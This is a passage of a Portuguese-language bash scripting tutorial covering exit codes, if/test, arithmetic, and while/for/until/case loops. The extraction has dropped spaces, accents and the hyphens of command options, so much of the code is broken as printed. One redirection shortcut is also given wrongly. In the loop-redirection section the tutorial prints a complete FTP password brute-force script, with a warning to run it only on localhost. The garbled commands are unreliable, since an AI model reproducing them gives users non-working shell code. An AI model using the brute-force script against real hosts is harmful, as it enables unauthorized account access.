Algunsprogramastemmuitoscdigosderetorno.Porexemplo,oscdigosderetorno
do"pppd"voato19.Assimpossvelsaberporqueelefoifinalizado.Sevoccolocarumasenha
erradanopppdetentarconectar,elevaiterminarcomocdigo19.
manpppd
...
17ThePPPnegotiationfailedbecauseserialloopbackwasdetected.
18Theinitscriptfailed(returnedanonzeroexitstatus).
19Wefailedtoauthenticateourselvestothepeer.
...
Umdetalheimportante:quandoexecutamosumprogramaembackground,elesempreretornaum
cdigo0parao shell,mesmoquedurantesuaexecuoocorraalgumproblema.Assim,quando
executamosumprogramaembg,perdemosessafacilidadedetestarcomofoiseutrmino.
virtvs@mucuripe:~$ls/diretorio_invalido&
[1]230
virtvs@mucuripe:~$/bin/ls:/diretorio_invalido:Arquivooudiretrionoencontrado
[1]+Exit1/bin/ls$LS_OPTIONS/diretorio_invalido
virtvs@mucuripe:~$echo$?
0
Comovemos,aoterminar,eleemiteumamensagemdizendoquefinalizoucomcdigo1([1]+Exit
1)masquandotestamosavarivel"?",obashnosdiz"0".
12.Concluses
Comotodosos programas temqueterminarcomumcdigoderetornoque tenha
algumsignificado,nossos shell scriptstambmteroquefinalizarindicandooqueaconteceu,se
ocorreutudobemouseouveerro.Masissodiscutiremosmelhormaisprafrente.
O importante aqui saber que todos os programas terminam com um cdigo de
retorno,osquaisusaremosnosnossosscriptsparatestarotrminodosprogramas.
AdbeelGoesFilho
ShellScripts51
13.Exercicios
1. Qualadiferenaentreopipe(|)eopontoevirgula(;)?
2. Digiteocomandoabaixoemduaslinhasunidaspelometacaractere\.
$cat/home/lab/texto1/home/lab/text2
3. Liste,paginando,todososprocessosqueestosendoexecutados.
4. Mostretodososprocessosdousurioroot.
5. Oquefazocomand:$psef|cutc9
6. Quantaspessoasestoexecutandooprocessoksh?
7. Quantossubdiretriosexistemdentrododiretrio/usr?
AdbeelGoesFilho
ShellScripts52
Capitulo3.ComandosCondicionais
Trataremos agora de "comandos condicionais". Condicionais so comandos que
avaliamumaexpresso.Seelaforverdadeira,umadeterminadarotinaexecutada.Casocontrrio,
outrarotinapodeserexecutada.
Ofamoso"if"
Obashnosoferece,entreoutros,ocomandoif(eleumcomandoembutidonobash
enoumprogramacomoo"ls",o"cp"etc.).Aformamaissimplesderepresentarumacondicional
utilizandooif,daseguinteformabsica:
if[condio];
thencomandos1;
elsecomandos2;
fi;
Se[condio]forverdadeira,oscomandos1soexecutados.Seforfalsa,oscomandos2
soexecutados.Masparaoif,oqueumacondioverdadeiraouumafalsa?
Como foi explicado anteriormente, TODO comando em Unix tem um cdigo de
retorno.Geralmenteocdigo"0"(zero)significaqueocomandofoiexecutadoperfeitamentee
terminoubem.Cdigosmaioresquezerosignificamquealgumacoisadeerradoocorreu.
assimqueoifverificaumacondio.Seoseucdigoderetornoforzero,entoela
considerada verdadeira. Caso contrario, ela falsa. Mas ento a [condio] tem que ser um
comando,certo?Exatamente.Vamosexemplificar:
virtvs@mucuripe:~$ifls/boot;thenecho"Odiretrioexiste.";elseecho
"Diretrioinvlido.";fi;
System.mapboot.0300boot.bboot_message.txtchain.bconfigmapos2_d.b
Odiretrioexiste.
Oquefizemos?
Logoapsoif,nscolocamosumcomando:"ls/boot".Oqueoiffaz?Eleexecuta
essecomando(porissoquetemosasegundalinhacomeadapor"System.map",queocontedo
domeudiretrio/boot)eavaliaoseucdigodesada.Comoo"ls"foiexecutadocorretamente,ele
retornazero,significandoverdadeiroparaoif,queexecutaocomandologoapso"then",ouseja,
oecho"Odiretrioexiste.",mostrandoessamensagemnoconsole.
Agoravamoscolocarumdiretrioquenoexiste:
AdbeelGoesFilho
ShellScripts53
virtvs@mucuripe:~$ifls/dir_invalido;thenecho"Odiretrioexiste.";
elseecho"Diretrioinvlido.";fi;
/bin/ls:/dir_invalido:Arquivooudiretrionoencontrado
Diretrioinvlido.
Algicaamesma.Executao"ls/dir_invalido",queretornaumcdigomaiorque
zero.Oifavaliacomofalsoeexecutaocomandoapsoelse:echo"Diretrioinvlido".
Nspoderamosomitirasegundalinhadosdoisexemplo(aquemostraocontedode
/bootnoprimeiroexemploeamensagemdeerroemitidapelolsdizendoque/dir_invalidono
existenosegundo),apenasredirecionandoassadaspara/dev/null,ouseja:
virtvs@mucuripe:~$ls/boot1>/dev/null2>/dev/null
Nota:Temummacetequepossuiomesmoefeito.Emvezdecolocar:"1>/dev/null2>/dev/null"
podemoscolocar"2&>1",quemenoremaissimples.
Comando"test"
Aprendemosqueoifavaliaacdigoderetornodeumcomando.Muitasvezes,para
nodizeramaioria,nsqueremosavaliar"expresses",ouseja,verificarseumavariveliguala
outra,seelaestavaziaetc.
Paraisso,nstemosoutrocomandochamado"test".Elefuncionadaseguintemaneira:
test[expresso]
Otestpodetestaroperaesdetrstipos:strings,arquivosearitmticas.
Expressesusandostrings:
O test pode apenas comparar strings, ou seja, verificar se uma igual a outra, e
verificarseumastringvaziaouno.Vamosaosexemplosparafacilitaroentendimento:
virtvs@mucuripe:~$test"a"="a"
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test"a"="b"
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$test"a"!="b"
virtvs@mucuripe:~$echo$?
0
AdbeelGoesFilho
ShellScripts54
Aquicomparamosastring"a"com"b".Comoeradeseesperar,oprimeiroretornouverdadeiro
(zero),poisa=aeosegundoretornoufalso.Noterceiro,osmbolo"!="significa"diferente".
virtvs@mucuripe:~$testz"neo"
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$testz""
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testn"neo"
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testn""
virtvs@mucuripe:~$echo$?
1
Acimatemosostestesdevazio.Aopo"z"verificasevazio,e"n"senovazio.
Noprimeirocaso,eletestase"neo"umastringvazia,retornandofalso.Jnosegundocaso,como
""vazia,retornaverdadeiro.Oterceiroequartososemelhantesaosprimeiros,mascom"n".
Expressescomarquivos:
Os testes que podem ser feitos com arquivos so para verificar determinadas
caracteristicas,comoseeleexiste,seexecutavel,seumlinksimblico,seumdiretrioetc.
Aseguir,temosumalistadevriasopesdisponveis:
barquivo
carquivo
darquivo
earquivo
farquivo
sarquivo
harquivo
parquivo
Sarquivo
karquivo
rarquivo
warquivo
xarquivo
Oarquivo
Garquivo
Narquivo
Verdadeirosearquivoumarquivodebloco,como/dev/hda.
Verdadeirosearquivoumarquivodecaracter,como/dev/tty1.
Verdadeirosearquivoumdiretrio.
Verdadeirosearquivoexiste.
Verdadeirosearquivoexisteeumarquivocomum.
Verdadeirosearquivoexisteenovazio.
Verdadeirosearquivoumlinksimblico.
Verdadeirosearquivoum"namedpipe"(fifo,lifo,etc).
Verdadeirosearquivoum"socket".
Verdadeirosearquivotemseu"stickybit"ligado.
Verdadeirosearquivopodeserlidopelousurioatual.
Verdadeirosearquivopodeserescritopelousurioatual.
Verdadeirosearquivopodeserexecutadopelousurioatual.
Verdadeirosearquivopertenceaousurioatual.
Verdadeirosearquivopertenceaogrupodousurioatual.
Verdadeirosearquivofoimodificadodesdeaultimavezquefoilido.
Algunsexemplos:
AdbeelGoesFilho
ShellScripts55
Aopo"e"verificaapenasseumarquivoexisteeaopo"d"verificaseoarquivo
umdiretrio.
Aopo"nt"verificaseoprimeiroarquivomaisnovoqueosegundo(nt=newer
than)e"ot"verificaseoprimeiromaisvelhoqueosegundo(od=olderthan):
virtvs@mucuripe:~$teste/vmlinuz
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testd/vmlinuz
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$teste/usr
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$testd/usr
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test/usrnt/vmlinuz
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test/usrot/vmlinuz
virtvs@mucuripe:~$echo$?
1
#!/bin/bash
if[$1=$2];then
echoAsstringssoiguais.
fi
$./strcmp1.shmeleu
./strcmp.sh:[:meleu:unaryoperatorexpected
Notequeotestdeuumerro,eporissoretornouumnozeroparaoif.Observeoseguinte:
$catstrcmp2.sh
#!/bin/bash
if[$1=$2];then
echoAsstringssoiguais.
else
echoAsstringssodiferentes.
fi
$./strcmp2.shmeleu
AdbeelGoesFilho
ShellScripts56
./strcmp.sh:[:meleu:unaryoperatorexpected
Asstringssodiferentes.
Aconteceuamesmacoisaquenoprimeiroexemplo,squeagoratemosumelsepra
serexecutadocasoaexpressodoifretornefalso(ounozero).Umasoluopraquenodeste
erronotestusaraspasduplas.Vejas:
#!/bin/bash
if["$1"="$2"];then
echoAsstringssoiguais.
else
echoAsstringssodiferentes.
fi
VoctambmNOdeveescrevertudojunto,assim:$1=$2ou"$1"="$2"
Destamaneiraotestvairetornarsempreverdadeiro,poisseriacomosevocestivessepassado
somenteumparmetroparaele.
#!/bin/bash
NUM1=1
NUM2=00001
if["$NUM1"="$NUM2"];
then
echo"Ovalorstringde$NUM1e$NUM2soiguais."
else
echo"Ovalorstringde$NUM1e$NUM2sodiferentes."
fi
if[$NUM1eq$NUM2];
then
echo"Ovalornumricode$NUM1e$NUM2soiguais."
else
echo"Ovalornumricode$NUM1e$NUM2sodiferentes."
fi
Parafazerclculosaritmticospodemosfazeroseguinteesquema
$echo$[2*3+4]
10
$echo$[2*(3+4)]
14
AdbeelGoesFilho
ShellScripts57
Basta colocar a expresso entre $[ ... ]. Voc tambm pode usar $((cifrodois
parnteses))masoscolchetessobemmaisprticos.
Sevocpretendeusarmaiscoisarelacionadaamatemtica,entoaprendaausaro
comando"bc".Massevaificarsno"papaimame"dasoperaesbsicaspodeficarusando$(())
ou$[]
(OBS.:emoperaesdedivisoosresultadosnosomuitosatisfatrios).
operadoreslgicos(ANDeOR)
Parausarosoperadoreslgicosbastausar"a"paraANDe"o" paraOR.Muito
simples.OexemploaseguirusaoANDetambmusaumnovotipodecomandodecontrole,o
"elif",queamesmacoisaque"elseif",squesevocusar"elseif"vaiprecisardeum"fi"para
fechar.Oelifnoprecisadisso.
Presteatenoquefcildeentenderparaquemtemnoodealgoritmo:
#!/bin/bash
readp"Entrecomoprimeironmero:"NUM1
readp"Entrecomosegundonmero:"NUM2
readp"Entrecomoterceironmero:"NUM3
#Observeo"a"(AND)naexpressoabaixo
if[$NUM1le$NUM2a$NUM1le$NUM3];then
MENOR=$NUM1
if[$NUM2le$NUM3];then
MEIO=$NUM2
MAIOR=$NUM3
else
MEIO=$NUM3
MAIOR=$NUM2
fi
elif[$NUM2le$NUM3];then
MENOR=$NUM2
if[$NUM1le$NUM3];then
MEIO=$NUM1
MAIOR=$NUM3
else
MEIO=$NUM3
MAIOR=$NUM1
fi
else
MENOR=$NUM3
if[$NUM1le$NUM2];then
MEIO=$NUM1
MAIOR=$NUM2
AdbeelGoesFilho
ShellScripts58
else
MEIO=$NUM2
MAIOR=$NUM1
fi
fi
echo"$MENOR<$MEIO<$MAIOR"
Ocomandolet
O let um comando embutido no bash (e isto quer dizer que se voc quiser
informaes sobre ele tem que ver na manpage do bash, mais especificamente no tpico
ARITHMETICEVALUATION).Elebastantetilparaquemestacostumadocomprogramao
C,poissuasintaxesemelhante,massusadoparaexpressesaritmticas.
Comestecomandovocpodecompararvaloresnumricoscomossinais<,>,<=,>=,
==,e!=.EmaisbastantecoisacomumemlinguagemC(comoporexemploo++eo).Alguns
exemplosdoquevocpodefazer:
letvar++
letvar
let"$num>2"
#equivalentea"var=$[$var+1]"
#equivalentea"var=$[$var1]"
#equivalentea"[$numgt2]"
Outracoisainteressantequevocpodesubstituir
let"expressao"
por
((expressao))
Portantoosexemplosacimapoderiamserfeitosassim:
((var++))
((var))
(($num>2))
Vejaestescriptabaixoapenasparaentenderautilidadedolet:
Exemplo:
#!/bin/bash
if(($#!=2));then#poderiaser:iflet"$#!=2"
echo"Uso:`basename$0`N1N2"1>&2
exit1
fi
if(($1>$2));then#poderiaser:iflet"$1>$2"
echo"$1maiorque$2"
elif(($1==$2));then#poderiaser:eliflet"$1==$2"
echo"$1iguala$2"
AdbeelGoesFilho
ShellScripts59
else
echo"$1menorque$2"
fi
4.
Tomadasdedecisocom&&e||
Esta maneira de tomar decises bem compacta, mas no aceita "else". Eu,
particularmente,prefirousarestaestruturaquandovoufazerumatomadadedecisoenopreciso
de"else".Amaneiradeusar:
comando1&&comando2
comando1||comando2
O && executa o primeiro comando e somente se este retornar 0 (no ocorrer
problemas)osegundoserexecutado.O||executaoprimeirocomandoesomenteseesteretornar
nozero(ocorrerproblemas)osegundoserexecutado.
Vejaumexemplobemsimples:
$[d~/tempdir]||mkdir~/tempdir
Comovocdeveestarlembrado,"[d~/tempdir]"omesmoque"testd~/tempdir"e
retornar0seexistirodiretrio~/tempdir.Casonoexistaeleretornar1,enestecasoo"mkdir
~/tempdir"serexecutado.
Vejamosumparecidousandoo&&:
$[d~/tempdir]&&lsld~/tempdir
Listas
Aslistasdecomandosservemparaagruparcomandos.Podemserrepresentadaspor
(parenteses)ou{chaves}.Adiferenaqueos(parenteses)executamoscomandosnum shell a
parteeas{chaves}executamnoshellatual.
Executecomandoaseguiretenteentendlo(estcerto...sovrioscomandos,mas
inicialmenteencaradocomumcomandos).
Exemplo:
[d/usr/doc]&&{
echo"Odiretorioexiste"
echo"vejaoseuconteudo"
cd/usr/doc
ls
}
Eobservequeaofinaldaexecuovocestarnodiretrio/usr/doc,oquecomprova
quecomas{chaves}oscomandossoexecutadosno shell atual,sevoctrocaras{chaves}por
AdbeelGoesFilho
ShellScripts60
(parnteses)observarqueoseudiretrionosealterar.
FYI:parasaberodiretrioatualocomandoaserusadoo"pwd".
ExpressesAritmticas
Expresses aritmticas consistem com comparar dois nmeros, verificando se so
iguais,ouseoprimeiromaiorqueosegundoetc.
Infelizmentenopodemosapenasutilizarossmbolosconhecidosparaigual(=),maior
que (>), menor que (<) etc. Temos que usar operadores reconhecidos pelo "test". Assim, no
podemosfazer:"test1=1",devemosutilizarooperador"eq"(equal):"test1eq
1".Aseguir,temosumalistadosoperadores:
eq(equal):Igual;
ne(notequal):NoIgual(diferente);
lt(lessthan):Menorque(<);
le(lessthanorequal):Menorouigual(<=);
gt(greaterthan):Maiorque(>);
ge(greaterthanorequal):Maiorouigual(>=);
Algunsexemplos:
virtvs@mucuripe:~$test1lt2
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test1gt2
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$test2gt1
virtvs@mucuripe:~$echo$?
0
virtvs@mucuripe:~$test2ge2
virtvs@mucuripe:~$echo$?
0
Parafinalizar,vamosfazerduasconsideraes.Aprimeiradequeocomando"test"podeser
substituidoporumpardecolchetes[].Assim,ocomandotest"a"="b"podeserescritocomo["a"
="b"].
Essasegundanomenclaturaficamaisfcilesimples,principalmentequandoestamosutilizandoIF:
if[e/vmlinuz];maisintuitivoesimplesqueifteste/vmlinuz;.
Asegundaconsideraoque,obviamente,podemosutilizarvariveisnolugardos
AdbeelGoesFilho
ShellScripts61
argumentos (caso contrrio, ficaria difcil utilizar comandos de condicionais em shell script).
Assim,setivermosduasvariaveis,valor1=5evalor2=8:
["$valor1"="$valor2"],["$valor1"lt"$valor2"]etc.
importantecolocarmososvaloresentreaspasduplas("),poisassimobashpode
substituiroqueseencontradentrodessasaspas.Secolocarmosentreaspassimples('),impedimoso
bash de alterar o que se encontra dentro delas. Se noutilizarmos as aspas duplas, vamos ter
problemas,principalmenteaotrabalharmoscomstring.
Por exemplo, queremos comparar dois nomes, que se encontram em duas
variaveis:nome1="fulano de tal" e nome2="ciclano". Montando nossa expresso condicional:
["$nome1"="$nome2"].Obashirexpandirissopara:["fulanodetal"="ciclano"],ficando
claramentedefinidosoprimeiroeosegundoargumento.
Agora,senousarmosaspas:[$nome1=$nome2].Obashirexpandirissopara:
[fulanodetal=ciclano].Percebaqueosargumentossemisturameobashnovaisaberoque
comparar.Porissoimportantecolocarmososargumentosentreaspasduplas.
Concluso
Resumindo,aprendemosnaauladehojecomoutilizarcomandoscondicionais.Isso
serfundamentalnosprximoscapitulos,ondeiremostrataroscomandosdelao,comoowhile.
AdbeelGoesFilho
ShellScripts62
Capitulo4.ComandosdeRepetio
Vamosaprenderagorasobrecomandosdelaocomoowhile,for,caseeselect.Eles
nospermitemexecutaralgunscomandosdiversasvezes,sobdeterminadascondieseatmontar
menuzinhosparainteragircomousurio.
14.while
Este provavelmente o comando de lao mais utilizado em programao. Seu
entendimento simples. Ele testa uma condio (como faz o IF) e executa um conjunto de
comandosseestacondioforverdadeira.Apsaexecuodessescomandos,eletornaatestara
condioeseestaforverdadeira,elereexecutaoscomandoseassimpordiante.
Suasintaxeaseguinte:
while[condio];
do
comando1;
comando2;
...
done;
Oparmetro[condio]funcionaexatamenteigualaodoIF.
Bom,vamosaoexemplomaissimplesdowhile:umcontador.
x=0
while["$x"le10];
do
echo"Execuonmero:$x"?;
x=$((x+1));
done;
Analisando:
Naprimeiralinhatemosacondio:enquantoovalordavarivelx($x)formenor
igual(le)a10,faa:mostre"Execuonmero:"eovalordex($x).Faax=x+1.Issonobash
feitopelocomando$(()).Elerealizaoperaesalgbricascomvariveis.Nocasoacima,estamos
somandox+1ecolocandooresultadonoprpriox.
AdbeelGoesFilho
ShellScripts63
Presteateno,queaslinhasdowhileprecisamdeum";"paraterminar,excetoaque
contmo"do",poiselerepresentaocomeodoblocodecomandos.
Quandoexecutamososcriptacima,temosumacontagemde1at10:
virtvs@mucuripe:~$x=0;while["$x"lt10];dox=$((x+1));echo
"Execuonmero:$x";done;
Execuonmero:1
Execuonmero:2
...
Execuonmero:10
virtvs@mucuripe:~$
O while temmuitautilidadeemprogramao,masficadifcildarexemplosusando
somenteele,poisgeralmenteeleestassociadoaexecuodeoutrosprogramaserotinasmais
complexas.
Eu costumo usar ele, por exemplo, quando quero que o napster fique tentando
conectar,poisquandoelevaitentarconectaroservidorenoconsegue,elesimplesmentetermina.
Aeucolocoowhiletestandoacdigoderetornodele(lembramdavarivel$?)eenquantoestiver
diferentedezero(onapsterterminoucomerro),eleficaexecutandoonapster:
?=1;while["$?"ne"0"];do./nap;done;
Ocomando"?=1"tentaatribuir1avarivel?.Issoprovocaumerro,poisavarivel?
somentedeleitura.Issonecessrioparaque?Contenhaalgodiferentede0,poissenoowhile
noexecutaaprimeirainterao.
15.for
Oforsemelhanteaowhileusadocomoumcontador.necessriofornecerumalista
denomeseeleexecutaoscomandosparacadanomenalista.Parecemeioconfuso,massimples.
Vejaasintaxe:
for<var>in<lista>;
do
comandos
done;
O for associa o primeiro item da lista de nomes varivel <var> e executa os
comandos.Emseguida,associanovamenteosegundoitemdalista<var>eexecutanovamenteos
comandos...eassimpordiante,atacabaralista.
Vejaoexemplo:
AdbeelGoesFilho
ShellScripts64
virtvs@mucuripe:~$forxinCompraVendaAluguel;
doecho$x;done;
Compra
Venda
Aluguel
Ouseja,primeiroelecoloca"Compra"navarivelxeexecutaoscomandos,nocaso,"echo$x",e
assimpordiante.Podemosfacilmenteimplementarumcontador,usandoemconjuntocomofor,o
programinha"seq".Elesimplesmentegeraumaseqnciadenmeros.Porexemplo,"seq10"gera
umaseqnciade1at10.Assim,podemosuslonofor:
forxin$(seq10);doecho$x;done;
Essecomandosemelhanteaocontadorimplementadocomowhile.Primeirooxvale
1eoforexecutaoscomandos.Depoisxvale2eelereexecutaoscomandos...
Vamosusaroforpararenomearosarquivodeumdiretrio,mudandotodososarquivo
terminadosem".mp3"para".mp3.bak".
forxin*;do
mv"$x""${x}.bak";
done;
forxin*.mp3;do
if[e"$x"];
thenmv"$x""${x}.bak";
fi;
done;
No local de <lista> nos colocamos "*.mp3". Isso diz ao bash para expandir
(transformar)elenalistadearquivosterminadoscom".mp3".Senohouvernenhumarquivocom
essaterminao,obashnofaznada,ficandoparaoforastring"*.mp3".Porissoprecisamosdoif
paratestarseoarquivoexiste.Experimentenoseusistema.echo*.mp3vaimostrarosarquivosno
diretrioatualcomterminaomp3,massemquebradelinhaentreeles,ouseja,umnomeapso
outro.Senohouvernenhumarquivocomterminaomp3,eleapenasvaimostrar"*.mp3".
Bem, voltando ao for, ele vai atribuir a "x" cada nome na lista de arquivos com
terminao".mp3"eexecutaroscomandosseguintes.Primeiroeletestaparaverseoarquivoexiste
(if[e"$x"];),eseexistir,renomeiaeleparaoseuprprionomeacrescidode".bak"(
${x}.bak).
Resumindo, o for faz isso: voc fornece uma lista de nomes para ele e ele vai
atribuindoessesnomes,emordemeumporvez,varivel<var>eexecutaoscomandosentreo
"do"eo"done;".
Agoraparausarmosumforumpoucoparecidocomodaslinguagensdeprogramao
convencionais usamos um comandinho chamado "seq". Ele funciona basicamente da seguinte
forma:
AdbeelGoesFilho
ShellScripts65
$seq110
1
2
3
4
5
6
7
8
9
10
#podeseremordemdecrescentetambm:
$seq101
10
9
8
7
6
5
4
3
2
1
Examplo:
#!/bin/bash
if[$#ne1];then
echo"Uso:`basename$0`n"
echo"Onde'n'umnmerointeiroqualquer"
exit1
fi
forOPin`seq110`;do
echoe"$1+$OP=$[$1+$OP]\t$1$OP=$[$1$OP]"
done
echo
forOPin`seq110`;do
echoe"$1*$OP=$[$1*$OP]\t\
$1/$OP=`echo"scale=2;$1/$OP"|bc`"
done
AdbeelGoesFilho
ShellScripts66
16.until
igualaowhile,excetoporumdetalhezinho.Vejaaexpressobsicaesaber:
until<expresso>;do
<comandosqueseroexecutadosenquanto<expresso>retornarFALSO>
done
Leiadireitinho:comandosqueseroexecutadosenquanto<expresso>retornarFALSO!;)
Exemplo:
#!/bin/bash
CONT=10
until[$CONTeq0];do
echone"$CONT\t"
letCONT
done
echo
17.case
Ocaseestmaisparaumcomandocondicionaldoqueparacomandodelao,visto
queelenoexecuta"loopings"comoowhileeofor.Elegeralmenteutilizadocomosubstituio
devriosIFs..Umexemploclssicoemuitoutilizadoquandovocprecisatestarumparmetro
fornecido na linha de comando. O case utilizado desta forma em scripts de inicializao de
serviosdosistema.Voumostrarasintaxeememseguidaumscriptqueinicialize/reinicializeou
parealgumservio(comoosendmail,apache,bind,etc).
Sintaxe:
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])
<comandos2>
;;
*)
<comandossenofornenhumadasopes>
;;
AdbeelGoesFilho
ShellScripts67
esac
Vamosasexplicaes.Ocasepegaastringfornecidaem<parmetro>ecomparacom
<opo1>.Seforemiguais,eleexecuta<comandos1>esaifora.Casocontrrio,elecompara
<parmetro>com<opo2>eassimpordiante.Caso<parmetro>nosejaigualanenhumadas
opes,eleexecutaoscomandosdaopo"*",seesteexistir.Prestematenoaalgunsdetalhesna
sintaxe.Deveexistirum")"apscadaopoetambmum";;"apstodososcomandosdecada
opo.Vejamoexemploabaixo:
case"$1"in
'start')
echo"Iniciandooservio..."
<comandosparainiciaroservio>
;;
'restart')
echo"Reinicializandooservio..."
<comandosparareinicializaroservio>
;;
'stop')
echo"Parandooservio..."
<comandosparapararoservio>
;;
*)
echo"Opoinvalida!"
echo"Asopesvlidasso:start,stoperestart"
;;
esac
Ocaseserveexatamenteparaisso,ouseja,evitarotestedevriosIfs.Nocasoacima,
teramosqueutilizar3Ifs.Mesmoseoprimeirojfosseverdadeiro,obashiriatestarosegundoeo
terceiro,ouseja,iaperdertempodesnecessariamente.Jnocaseissonoacontece.Apsentrarem
umaopoeexecutarseuscomandos,elejpulaforadocasesemtestarasoutrasopesabaixo.
18.breakecontinue
Estescomandossoteisquandousamosloops.
break
Quebraaexecuodoloop.Paraentendernadamelhorqueumexemplo:
AdbeelGoesFilho
ShellScripts68
Examplo:
#!/bin/bash
#`true`sempreretornaverdadeiro
whiletrue;do
readp"Tenteadivinharonmero:"NUM
["$NUM"eq666]&&break
done
echoe"\nVocacertou!\n"
Oqueobreakfazpularasequnciadeexecuodoscriptparaoquevierdepoisdo"done".Ele
tambmaceitaargumento,daseguinteforma:"breakn",onde'n'umnmerointeiroqueindica
quantos"done's"pular.
continue
Ocontinueinterrompeoloopefaznovamenteotestedocomandoqueestcontrolandooloop(for,
while,etc.).Vejaesteexemplo:
Examplo:
#!/bin/bash
[$1]||{echo"Entrecomo(s)nome(s)doarquivo(s)";exit1;}
forFILEin$@;do
[f$FILE]||{
echoe"\"$FILE\"noumarquivo\n"
continue
}
cat$FILE>>AllFiles.txt
echoe"\n\n\n=============\n\n\n">>AllFiles.txt
done
echo"Feito!"
Oqueocontinuefazvoltarlparaantesdo"do"prafazerotestenovamente.Ele
tambmaceitaargumentonoestilo"continuen"paraindicarquantos"do's"voltar.
AdbeelGoesFilho
ShellScripts69
19.Redirecionandoloops
Lendoolivro"Linux:ProgramaoShell"(verReferncias)euaprendiumasformas
de usar redirecionamento para loops. Vou tentar passar os esquemas aqui atravs de exemplos
meramente ilustrativos. Vamos a eles, lembrando daqueles conceitos passados no tpico 3.
(principalmentesobreoreadesobreosredirecionamentos).
"pipeando"paraowhile
Vamosimaginarumarquivoondeeutenhoosnomesdealgunsamigosmeusearegio
ondeelesmoram.Comoalgunsamigosmoramemumamesmaregioeunovouficarrepetindoa
regioparacadaum.Portantooarquivoficaassim:
#############################
#listadeamigoseestados#
#############################
#
#OBS.:ISSONOUMSCRIPT!
#
#LinhasqueCOMEAMcom'#'seroconsideradas
#comentriospeloscript"listamigos.sh".
#
#Usedaseguinteforma:
#REGIAOamigo1amigo2amigo3amigoN...
#
NordesteslaternashleonxfeSc2
Sudestemodulehekodangewsmanalaurablindbardklogd
Sul evillordemmanuele
Agoravejaoscriptqueusarasinformaescontidasnoarquivo"amigos.regiao":
#!/bin/bash
#oegrepabaixovaipegaroarquivo"amigos.regiao"
#semexibiraslinhasquecomecemcomumcaractere'#'
#(consideradocomentrio)esemmostrarlinhasvazias,
#emseguidavairedirecionarasadaparaaentradado
#readqueestlnowhile(relembresedoreadno
#tpico3.2.)
egrepv"^#|^*$"amigos.regiao|
AdbeelGoesFilho
ShellScripts70
whilereadREGIAONOMES;do
echoe"\e[1m>Amigosdo$REGIAO:\e[m"
foramigoin$NOMES;do
echo"$amigo"
done
echo
done
Masacoisanotosimplesassim...Sedentrodoloopvocquisesseusarocomando
readparalerdoteclado,serianecessriopegaraentradade"/dev/tty".Sabendoqueo/dev/ttyo
terminalquevocestusando.Sevoctivermuitosamigosnoarquivo"amigos.regiao"novai
conseguirvertodos,poisalistanocabernumatelas.Nestecaso,oscriptaseguirsermelhor
queo"listamigos.sh".
#!/bin/bash
egrepv"^#|^*$"amigos.regiao|
whilereadREGIAONOMES;do
echoe"\n\e[32;1m>Amigosdo$REGIAO:\e[m"
foramigoin$NOMES;do
echoe"\e[1m$amigo\e[m"
done
echone"\nEntre<ENTER>paracontinuarou'sair'parasair:"
readQUIT</dev/tty
["$QUIT"="sair"]&&exit
done
Sequisercomprovarcomseusprpriosolhosanecessidadedepegaraentradade
"/dev/tty"sretiraro"</dev/tty"naquelereaddentrodoloop.
OBS.:Curiosamenteoexitdentrodeumloopquerecebedadosdeumpipefuncionacomosefosse
umbreak.Pracomprovarissocoloquenofinaldoscriptlistamigos2.shum"echoblablabla"e
quandooscriptmostrar"Entre<ENTER>paracontinuarou'sair'parasair:"entrecom'sair'.
Issoocorreporqueduranteo"pipeamento"oscomandossoexecutadosnumsubshell
(umshellaparteoushellfilho,comopreferir),eoexitfazsairdestesubshell.
Vejamosumexemploondevocverqueoexitfuncionacomoobreak:
#!/bin/bash
#
##################################################################
#***********
#*ATENO*
#***********
#Nouseestescriptparaatacarservidoresremotos!Eledeixar
#arquivosdelogimensos!Useoapenasemlocalhost(127.0.0.1)
#evejavocmesmoosrastrosdeixadosnosarquivosdelog.
AdbeelGoesFilho
ShellScripts71
##################################################################
#
#Estecdigosprailustraodotexto
#"ProgramaoemBourneAgainShell",
#Naprticamesmoelenomuitotil.Sequiserfazerumataquedeforabruta
#maiseficientefaaemC.
#VejamaissobreataquesdeforabrutaemumtextoqueoNashLeonfezem
#<http://unsekurity.virtualave.net>
#
#verificaseoparmetropassadoumarquivo
[f"$1"]||{
echoe"\e[1mErronapassagemdeparmetros\e[m"
echo"Uso:`basename$0`wordlist"
exit1
}
WL="$1"
echoe"\e[36;1m
\e[37;1m
ataquedeforabrutaviaftp\e[36;1m
\e[m
"
readp"Host:"HOST
readp"Username:"USER
cat$WL|
whilereadPASS
do
#230onmeroquerecebemosquandoentramoscomsucessoviaftp
ftpivn<<EoF|grep"^230"&>/dev/null
open$HOST
user$USER$PASS
bye
EoF
#$?contmocdigoderetornodogrep
[$?eq0]&&{
echoe"\n\e[36;5;1mOataquefoibemsucedido!\e[m"
echoe"Username:\e[1m$USER\e[m\nPassword:\e[1m$PASS\e[m"
exit0
#lembrandoqueoexitfuncionacomosefossebreak
}
done
AdbeelGoesFilho
ShellScripts72
#$?contmomesmovalornozeroquefezpararoloopacima
[$?ne0]&&echo"
Vocentupiuosarquivosdelogpornada,poisoataquefracassou...
Maissortedaprximavez!
O"pipeamento"parawhiletambmusadonoMextract.sh.
redirecionandodearquivoparawhile
Agoraveremosumarquivoondeeutenhoostelefonesdealgunsamigos.Adisposio
dasinformaesdentrodoarquivoumpoucoparecidacomo"amigos.regiao",veja:
#######################
#Agendadetelefones#
#######################
#
#OBS.I:ISSONOUMSCRIPT!
#
#LinhasqueCOMEAMcom'#'seroconsideradas
#comentriospeloscript"listartel.sh".
#
#Usedaseguinteforma:
#NOMEPREFIXOTELEFONE
#ComoscamposseparadosporUMNICO<TAB>.
#
#Exemplo:
#lampiao1212345678
#mariabonita8787654321
#telefone"dusmanu"
xf4512431412
slater9865451654
minduin4554871800
nash2365576784
evil2354654654
heko4356465465
esc22446456456
#telefone"dasmina"
emmanuele8745646545
maylline2965654655
